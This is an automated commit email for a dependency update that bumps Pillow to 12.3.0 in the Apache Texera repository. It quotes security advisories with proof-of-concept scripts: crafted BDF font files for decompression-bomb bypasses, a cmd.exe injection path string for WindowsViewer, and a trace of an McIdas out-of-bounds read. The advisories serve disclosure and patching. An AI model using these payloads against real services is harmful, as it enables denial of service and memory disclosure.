This is an automated email from the ASF dual-hosted git repository.

github-merge-queue[bot] pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/texera.git

commit 1b9a8c6ee84f96e9c70712171f99b2a209d8709b
Author: Mend Renovate <[email protected]>
AuthorDate: Tue Jul 28 00:32:59 2026 +0100

    fix(deps, pyamber): update dependency pillow to v12.3.0 [security] (#6909)
    
    > ℹ️ **Note**
    >
    > This PR body was truncated due to platform limits.
    
    This PR contains the following updates:
    
    | Package | Change |
    [Age](https://docs.renovatebot.com/merge-confidence/) |
    [Confidence](https://docs.renovatebot.com/merge-confidence/) |
    |---|---|---|---|
    | [pillow](https://redirect.github.com/python-pillow/Pillow)
    ([changelog](https://redirect.github.com/python-pillow/Pillow/releases))
    | `==12.2.0` → `==12.3.0` |
    
![age](https://developer.mend.io/api/mc/badges/age/pypi/pillow/12.3.0?slim=true)
    |
    
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pillow/12.2.0/12.3.0?slim=true)
    |
    
    ---
    
    > [!WARNING]
    > Some dependencies could not be looked up. Check the Dependency
    Dashboard for more information.
    
    ---
    
    ### Pillow `BdfFontFile`: `Image.new()` called without
    `_decompression_bomb_check()` — bomb protection bypass via font loading
    BIT-pillow-2026-55379 /
    [CVE-2026-55379](https://nvd.nist.gov/vuln/detail/CVE-2026-55379) /
    
[GHSA-45hq-cxwh-f6vc](https://redirect.github.com/advisories/GHSA-45hq-cxwh-f6vc)
    / PYSEC-2026-2255
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Summary
    `PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width
    height` field from a BDF font file and passes the dimensions directly to
    `Image.new()` without calling `Image._decompression_bomb_check()`. This
    completely bypasses Pillow's documented decompression bomb protection.
    
    `Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises
    `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970`
    pixels. The BDF font loading path calls `Image.new()` directly, which
    only calls `_check_size()` (validates `>= 0`) — no pixel count limit.
    
    **Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):**
    ```python
    
    ##### width, height from attacker-controlled "BBX width height x y" line
    try:
        im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
    except ValueError:
        # TRIGGERED when BITMAP section is empty (zero hex lines)
        im = Image.new("1", (width, height))   # ← NO 
_decompression_bomb_check()!
        # ^ This image is stored in self.glyph[ch] — persists in memory
    ```
    
    **Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty
    `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then
    `Image.new("1", (20000, 20000))` allocates **50 MB** of C-heap silently.
    Image.open() would raise `DecompressionBombError` for the same
    dimensions.
    
    ##### Steps to reproduce
    
    **Minimal malicious BDF file (270 bytes):**
    ```
    STARTFONT 2.1
    SIZE 16 75 75
    FONTBOUNDINGBOX 16 16 0 -4
    STARTPROPERTIES 1
    COMMENT placeholder
    ENDPROPERTIES
    CHARS 1
    STARTCHAR A
    ENCODING 65
    SWIDTH 500 0
    DWIDTH 8 0
    BBX 20000 20000 0 0
    BITMAP
    ENDCHAR
    ENDFONT
    ```
    
    **Proof of Concept script:**
    ```python
    
    #!/usr/bin/env python3
    """PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
    import io, warnings
    warnings.filterwarnings("ignore")
    
    from PIL.BdfFontFile import BdfFontFile
    from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, 
DecompressionBombError
    
    W, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold
    
    ##### Show what Image.open() would do
    warnings.filterwarnings("error", category=DecompressionBombWarning)
    try:
        _decompression_bomb_check((W, H))
    except (DecompressionBombWarning, DecompressionBombError) as e:
        print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
    warnings.filterwarnings("ignore")
    
    ##### Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() 
without bomb check
    bdf = f"""STARTFONT 2.1
    SIZE 16 75 75
    FONTBOUNDINGBOX 16 16 0 -4
    STARTPROPERTIES 1
    COMMENT x
    ENDPROPERTIES
    CHARS 1
    STARTCHAR A
    ENCODING 65
    SWIDTH 500 0
    DWIDTH 8 0
    BBX {W} {H} 0 0
    BITMAP
    ENDCHAR
    ENDFONT
    """.encode()
    
    print(f"[*] BDF file size  : {len(bdf)} bytes")
    print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
    print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 
bit/pixel)")
    
    BdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!
    
    print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB 
allocated")
    print(f"    Image.open() path would have raised DecompressionBombError")
    ```
    
    **Expected output:**
    ```
    [Image.open() path] BLOCKED by DecompressionBombError
    [*] BDF file size  : 270 bytes
    [*] Glyph size     : 20000 x 20000 = 400,000,000 pixels
    [*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)
    [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
        Image.open() path would have raised DecompressionBombError
    ```
    
    **Amplified attack (multiple glyphs):**
    A BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6
    MB = ~1.95 GB` total C-heap allocation — all silently, bypassing
    documented bomb protection.
    
    ##### Impact
    - **Availability**: HIGH — attacker-controlled memory allocation per
    glyph × up to 65,536 glyphs
    - **Confidentiality**: None
    - **Integrity**: None
    - Any service loading BDF fonts from untrusted sources (e.g.,
    `ImageFont.load("user.bdf")`, `BdfFontFile(fp)`) is affected
    - Loaded glyph images persist in `self.glyph[ch]` for the lifetime of
    the font object — memory is NOT freed until the font is garbage
    collected
    
    #### Severity
    - CVSS Score: 7.5 / 10 (High)
    - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
    
    #### References
    -
    
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc)
    -
    
[https://nvd.nist.gov/vuln/detail/CVE-2026-55379](https://nvd.nist.gov/vuln/detail/CVE-2026-55379)
    -
    
[https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://redirect.github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d)
    -
    
[https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml)
    -
    
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    
[https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-45hq-cxwh-f6vc) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow: WindowsViewer.get_command() OS command injection via
    unescaped shell path
    BIT-pillow-2026-55798 /
    [CVE-2026-55798](https://nvd.nist.gov/vuln/detail/CVE-2026-55798) /
    
[GHSA-4x4j-2g7c-83w6](https://redirect.github.com/advisories/GHSA-4x4j-2g7c-83w6)
    / PYSEC-2026-2257
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### 1. Summary
    
    `WindowsViewer.get_command()` constructs a `cmd.exe` shell command by
    directly embedding a
    file path into an f-string without escaping. The result is passed to
    `subprocess.Popen(..., shell=True)`. Shell metacharacters in the file
    path — most
    importantly a double-quote (`"`) that breaks out of the wrapping,
    followed by `&` — allow
    injection of arbitrary `cmd.exe` commands.
    
    The macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to
    the same parameter.
    The Linux equivalent (`UnixViewer`) does likewise. Windows is the only
    platform missing this
    protection, despite `shlex.quote` being **already imported** on line 21
    of `ImageShow.py`.
    
    ---
    
    ##### 2. Vulnerable Code
    
    **File:** `src/PIL/ImageShow.py`, lines 133–150
    
    ```python
    class WindowsViewer(Viewer):
        format = "PNG"
        options = {"compress_level": 1, "save_all": True}
    
        def get_command(self, file: str, **options: Any) -> str:
            return (
                f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
                "&& ping -n 4 127.0.0.1 >NUL "
                f'&& del /f "{file}"'                # ← same path, unescaped 
again
            )
    
        def show_file(self, path: str, **options: Any) -> int:
            if not os.path.exists(path):
                raise FileNotFoundError
            subprocess.Popen(
                self.get_command(path, **options),
                shell=True,                          # ← shell=True
                creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
            )  # nosec                               # ← Bandit warning 
suppressed manually
            return 1
    ```
    
    **Contrast with macOS — SAFE (line 164–168):**
    ```python
    class MacViewer(Viewer):
        def get_command(self, file: str, **options: Any) -> str:
            command = "open -a Preview.app"
            command = f"({command} {quote(file)}; sleep 20; rm -f 
{quote(file)})&"
            return command                           # ← shlex.quote() applied
    ```
    
    **Cross-platform summary:**
    
    | Platform | Class          | `shlex.quote()`? | `shell=True`? | Safe? |
    |----------|----------------|------------------|---------------|-------|
    | macOS | `MacViewer` | **Yes** (line 168) | No (list args) | ✅ Yes |
    | Linux | `UnixViewer` | **Yes** (line 207) | No (list args) | ✅ Yes |
    | Windows | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148)
    | ❌ No |
    
    `shlex.quote` is imported on line 21. Its omission from the Windows path
    is a clear
    oversight, not a deliberate design choice.
    
    ---
    
    ##### 3. Proof of Concept
    
    A full working PoC is at `poc_pillow_injection.py`. Key parts:
    
    **Part A — Injection string construction (static, no execution):**
    ```python
    from PIL.ImageShow import WindowsViewer
    
    viewer = WindowsViewer()
    evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
    cmd = viewer.get_command(evil_path)
    print(cmd)
    
    ##### Output:
    ##### start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
    
    ##### ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
    ##### ├─ & echo PWNED                           → INJECTED COMMAND
    
    ##### └─ & echo ""  && ping ...                → continues
    ```
    
    **Part B — Live execution via `os.system()` (verified on Windows 11,
    Pillow 12.1.1):**
    ```python
    import os, tempfile
    from PIL.ImageShow import WindowsViewer
    
    viewer = WindowsViewer()
    poc_dir = tempfile.mkdtemp()
    marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
    
    ##### Craft injection: payload writes a marker file (harmless)
    payload   = f'echo REAL_INJECTED > "{marker}"'
    evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
    
    ##### Call the REAL Pillow get_command():
    real_cmd = viewer.get_command(evil_path)
    
    ##### Execute the same way the base Viewer.show_file() does (os.system):
    os.system(real_cmd)
    
    assert os.path.exists(marker)                          # PASSES — marker 
was created
    assert "REAL_INJECTED" in open(marker).read()          # PASSES
    
    ##### → CONFIRMED: arbitrary command injection via get_command()
    ```
    
    ---
    
    #### Severity
    - CVSS Score: 4.5 / 10 (Medium)
    - Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L`
    
    #### References
    -
    
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6)
    -
    
[https://nvd.nist.gov/vuln/detail/CVE-2026-55798](https://nvd.nist.gov/vuln/detail/CVE-2026-55798)
    -
    
[https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a](https://redirect.github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a)
    -
    
[https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4](https://redirect.github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4)
    -
    
[https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f](https://redirect.github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f)
    -
    
[https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml)
    -
    
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    
[https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-4x4j-2g7c-83w6) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow: `FontFile.compile()`: `Image.new()` called without
    `_decompression_bomb_check()`
    BIT-pillow-2026-54060 /
    [CVE-2026-54060](https://nvd.nist.gov/vuln/detail/CVE-2026-54060) /
    
[GHSA-5x94-69rx-g8h2](https://redirect.github.com/advisories/GHSA-5x94-69rx-g8h2)
    / PYSEC-2026-2254
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Description
    
    `PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a
    single combined bitmap using `Image.new("1", (xsize, ysize))` without
    calling `Image._decompression_bomb_check()`. This is the base-class
    method shared by both `BdfFontFile` and `PcfFontFile`, and it is
    triggered whenever a loaded font is converted to an `ImageFont` or
    saved.
    
    Neither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)`
    is registered with `Image.register_open()`, so Pillow's standard
    decompression bomb guard never fires for font objects. The compile step
    is the final opportunity to check the combined allocation — and it has
    no check.
    
    **Vulnerable code (`PIL/FontFile.py` lines ~64–92):**
    
    ```python
    def compile(self) -> None:
        if self.bitmap:
            return
    
        h = w = maxwidth = 0
        lines = 1
        for glyph in self.glyph:              # up to 256 glyph slots
            if glyph:
                d, dst, src, im = glyph
                h = max(h, src[3] - src[1])   # max glyph height — 
attacker-controlled
                w = w + (src[2] - src[0])
                if w > WIDTH:                  # WIDTH = 800
                    lines += 1
                    w = src[2] - src[0]
                maxwidth = max(maxwidth, w)
    
        xsize = maxwidth                       # ≤ 800 (capped by WIDTH 
constant)
        ysize = lines * h                      # ← lines(256) × h(65535) = 
16,776,960
    
        if xsize == 0 and ysize == 0:
            return
    
        self.ysize = h
        # NO _decompression_bomb_check() here ←
        self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation
    ```
    
    **"Slow accumulation" attack — per-glyph dimensions stay BELOW warning
    threshold:**
    
    | Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) |
    |---|---|---|
    | Pixel count | 700,000 | **179,200,000** |
    | DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** |
    2.0× — above warning |
    | DecompressionBombError threshold (178.9M) | 0.004× — **no error** |
    **1.001× — above error** |
    
    With PCF-maximum glyph height (65,535):
    
    | Metric | Value |
    |---|---|
    | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph)
    |
    | h (max glyph height) | 65,535 |
    | xsize | 800 |
    | ysize = lines × h | 256 × 65,535 = **16,776,960** |
    | **Total pixels** | 800 × 16,776,960 = **13,421,568,000** |
    | **Ratio vs. DecompressionBombError threshold** | **75×** |
    | Memory (mode "1", 1 bit/pixel) | **~1.6 GB** |
    
    ##### Steps to reproduce
    
    **Proof of Concept script:**
    
    ```python
    
    #!/usr/bin/env python3
    """
    PoC: FontFile.compile() bomb bypass
    256 glyphs at 800x875 each (individually below warning threshold)
    → compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
    """
    from PIL import FontFile, Image
    
    MAX_GLYPHS = 256
    GLYPH_W    = 800
    GLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold
    
    class MockFont(FontFile.FontFile):
        def __init__(self):
            super().__init__()
            # Each glyph is individually safe (700K px < 89.4M warning)
            im = Image.new("1", (GLYPH_W, GLYPH_H))
            for i in range(MAX_GLYPHS):
                self.glyph[i] = (
                    (GLYPH_W, GLYPH_H),
                    (0, -GLYPH_H, GLYPH_W, 0),
                    (0, 0,        GLYPH_W, GLYPH_H),
                    im,
                )
    
    ##### Confirm bomb check WOULD catch the combined size
    combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
    try:
        Image._decompression_bomb_check(combined_size)
        print("[FAIL] bomb check did not raise — unexpected")
    except Image.DecompressionBombError as e:
        print(f"[OK] bomb check WOULD block {combined_size}: {e}")
    
    ##### Vulnerable path: compile() has NO bomb check
    font = MockFont()
    font.compile()   # → Image.new("1", (800, 224000)) — no error raised
    
    px = font.bitmap.size[0] * font.bitmap.size[1]
    threshold = Image.MAX_IMAGE_PIXELS * 2
    print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
    print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError 
threshold)")
    print(f"         No DecompressionBombError raised at any point.")
    ```
    
    **Expected output:**
    ```
    [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) 
exceeds limit
    of 178956970 pixels, could be decompression bomb DOS attack.
    [BYPASS] compile() succeeded: bitmap=(800, 224000)
             pixels=179,200,000  (1.001× DecompressionBombError threshold)
             No DecompressionBombError raised at any point.
    ```
    
    **Verified live on Pillow 12.2.0 — compile() succeeds with no
    exception.**
    
    **Real-world trigger using BDF font file:**
    ```python
    from PIL import BdfFontFile
    import io
    
    ##### Load a crafted BDF font with 256 glyphs each claiming height=65535
    
    ##### (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M 
warning)
    ##### compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
    font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
    font.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check
    ```
    
    **Attack scenarios:**
    
    | Scenario | Effect |
    |---|---|
    | Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with
    crafted .bdf upload |
    | Server-side font renderer that loads PCF → `to_imagefont()` | OOM
    crash |
    | Font pipeline: load → render text | One malicious font file kills the
    process |
    
    ##### Impact
    
    - **Availability:** HIGH — `compile()` creates a combined bitmap whose
    pixel count scales as `WIDTH × lines × max_glyph_height` with no upper
    bound check. With max PCF glyph height (65,535) and 256 glyphs, the
    combined allocation is ~1.6 GB. With BDF (text-format, unbounded
    height), the allocation is limited only by system memory.
    - **Confidentiality:** None
    - **Integrity:** None
    
    **Affected call paths:**
    - `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()`
    - `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()`
    - `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()`
    - `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()`
    
    Neither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so
    the standard decompression bomb guard is **entirely absent** from the
    font loading code path. `compile()` is the only point where the combined
    allocation size is known, and it has no check.
    
    Confirmed unpatched on `python-pillow/Pillow` `main` branch as of
    2026-06-08.
    
    #### Severity
    - CVSS Score: 7.5 / 10 (High)
    - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
    
    #### References
    -
    
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2)
    -
    
[https://nvd.nist.gov/vuln/detail/CVE-2026-54060](https://nvd.nist.gov/vuln/detail/CVE-2026-54060)
    -
    
[https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://redirect.github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d)
    -
    
[https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml)
    -
    
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    
[https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-5x94-69rx-g8h2) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow: Out-of-bounds read via attacker-controlled row stride on
    Pillow's mmap path (McIdas AREA files)
    BIT-pillow-2026-54058 /
    [CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058) /
    
[GHSA-62p4-gmf7-7g93](https://redirect.github.com/advisories/GHSA-62p4-gmf7-7g93)
    / PYSEC-2026-3493
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Summary
    
    When Pillow loads an uncompressed image whose tile uses the `raw` codec
    and a mode in `Image._MAPMODES`, and the image was opened **from a
    filename**, it memory-maps the file and builds the image's row pointers
    directly into the mapping via `PyImaging_MapBuffer` (`src/map.c`). The
    per-row spacing (`stride`) is taken from the tile arguments. `map.c`
    validates `offset + ysize*stride <= buffer_len` but **never checks that
    `stride` is at least the natural row width `xsize * pixelsize`**.
    
    The **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`,
    `offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit
    header words with no validation. By supplying a `stride` far smaller
    than the row width, an attacker makes each row pointer read
    `xsize*pixelsize` bytes that run past the mapped region. Accessing the
    pixels (e.g. `Image.tobytes()`,
    `getpixel`, `convert`, `save`) then reads adjacent process memory
    (information disclosure) or faults (SIGBUS, denial of service).
    
    ##### Complete Code Trace
    
    **Step 1: `McIdasImageFile._open`** - turns attacker header words into
    image size, file offset, and row stride with no validation.
    
    ```python
    
    ##### src/PIL/McIdasImagePlugin.py:41-70
    s = self.fp.read(256)
    if not _accept(s) or len(s) != 256:        # _accept: prefix == 
b"\x00\x00\x00\x00\x00\x00\x00\x04"
        raise SyntaxError(...)
    self.area_descriptor = w = [0, *struct.unpack("!64i", s)]   # w[1..64] = 
signed BE int32, ALL attacker-controlled
    
    if w[11] == 1:
        mode = rawmode = "L"                    # pixelsize 1, in _MAPMODES
    elif w[11] == 2:
        mode = rawmode = "I;16B"                # pixelsize 2, in _MAPMODES
    ...
    self._mode = mode
    self._size = w[10], w[9]                    # (xsize, ysize)  <-- attacker
    offset = w[34] + w[15]                       # <-- attacker
    stride = w[15] + w[10] * w[11] * w[14]       # <-- attacker (set w[14]=0, 
w[15]=1 => stride=1)
    self.tile = [
        ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
    ]
    ```
    
    **Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates
    to `map_buffer`.
    
    ```python
    
    ##### src/PIL/ImageFile.py:322-348
    if use_mmap:                                 # use_mmap = self.filename and 
len(self.tile) == 1
        decoder_name, extents, offset, args = self.tile[0]
        if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
                and args[0] == self.mode and args[0] in Image._MAPMODES):
            if offset < 0:                       # only lower-bound guard on 
offset
                raise ValueError("Tile offset cannot be negative")
            with open(self.filename) as fp:
                self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
            if offset + self.size[1] * args[1] > self.map.size():   # == offset 
+ ysize*stride; NO stride>=linesize check
                raise OSError("buffer is not large enough")
            self.im = Image.core.map_buffer(
                self.map, self.size, decoder_name, offset, args      # args = 
("L", stride, 1)
            )
    ```
    
    **Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride`
    spacing into the mmap; validates everything except `stride >= row
    width`.
    
    ```c
    /* src/map.c:65-140 */
    if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
            &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, 
&ystep))
        return NULL;
    ...
    const ModeID mode = findModeID(mode_name);          /* "L" */
    
    if (stride <= 0) {                                  /* attacker sets 
stride=1 (>0) -> NOT recomputed */
        if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
        else if (isModeI16(mode)) stride = xsize * 2;
        else stride = xsize * 4;
    }
    
    if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only 
*/
        PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return 
NULL;
    }
    size = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */
    
    if (offset > PY_SSIZE_T_MAX - size) { ... }
    ...
    if (offset + size > view.len) {                     /* 1 + 1 = 2 <= 256 -> 
PASSES */
        PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
        PyBuffer_Release(&view); return NULL;
    }
    
    im = ImagingNewPrologueSubtype(mode, xsize, ysize, 
sizeof(ImagingBufferInstance));
    /* im->linesize = xsize * pixelsize = 200000  (the REAL per-row read width) 
*/
    
    /* setup file pointers -- NO check that stride >= im->linesize */
    if (ystep > 0) {
        for (y = 0; y < ysize; y++) {
            im->image[y] = (char *)view.buf + offset + y * stride;   /* row 
points into mmap, spacing=1 */
        }
    } else { ... }
    ```
    
    `im->linesize` (the number of bytes any consumer reads per row) is
    `xsize * pixelsize = 200000`, but the row pointers are only `stride = 1`
    byte apart and the buffer is only `offset + ysize*stride = 2` bytes
    "claimed". Nothing reconciles the two.
    
    **Step 4: pixel access (`Image.tobytes()` → raw encoder `copy1`)** -
    reads `linesize` bytes from `im->image[0]`, i.e. `xsize` bytes starting
    at `view.buf + offset`, running far past the mmap.
    
    ```c
    /* the raw "L" packer copies linesize (=xsize) bytes per row from 
im->image[y];
       for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */
    ```
    
    ##### Chain Summary
    
    ```
    SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  
(Image.open on a path)
      ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -> attacker 
sets stride=1   [McIdasImagePlugin.py:66]
      ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1))                      
               [McIdasImagePlugin.py:68]
    GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len  
<- BUG: no stride>=linesize check  [ImageFile.py:343]
      ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1))               
               [ImageFile.py:346]
    SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; 
linesize=xsize   [map.c:134]
      ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from 
im->image[0]
    IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process 
memory (leak) or SIGBUS (DoS)
    ```
    
    ##### Proof of Concept
    
    See attached
    
[poc.zip](https://redirect.github.com/user-attachments/files/28460498/poc.zip)
    
    ##### Impact on a Parent Application
    
    Any application that opens image files supplied by users **from a path
    on disk** (the common pattern: save upload to a temp file, then
    `Image.open(path)`), has the default plugin set (McIdas is registered by
    default), and subsequently reads/returns/re-encodes the decoded pixels
    (thumbnailing, format conversion, serving a preview), is exposed:
    
    - **Information disclosure (High):** the decoded "image" contains bytes
    of the worker process's adjacent heap/mapped memory, which the app then
    serves or stores - potentially leaking secrets, credentials, or other
    users' data.
    - **Denial of service (High):** a larger `xsize` reliably crashes the
    worker with SIGBUS.
    
    ##### Suggested fix
    Core fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset < 0` and
    `stride < im->linesize`. Defense-in-depth in `McIdasImagePlugin._open`:
    reject `offset < 0` or `stride < xsize*pixelsize` .
    
    #### Severity
    - CVSS Score: 8.3 / 10 (High)
    - Vector String:
    `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N`
    
    #### References
    -
    
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93)
    -
    
[https://nvd.nist.gov/vuln/detail/CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058)
    -
    
[https://github.com/python-pillow/Pillow/pull/9719](https://redirect.github.com/python-pillow/Pillow/pull/9719)
    -
    
[https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d](https://redirect.github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d)
    -
    
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    
[https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/12.3.0)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-62p4-gmf7-7g93) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()`
    via signed coordinate overflow
    BIT-pillow-2026-59199 /
    [CVE-2026-59199](https://nvd.nist.gov/vuln/detail/CVE-2026-59199) /
    
[GHSA-6r8x-57c9-28j4](https://redirect.github.com/advisories/GHSA-6r8x-57c9-28j4)
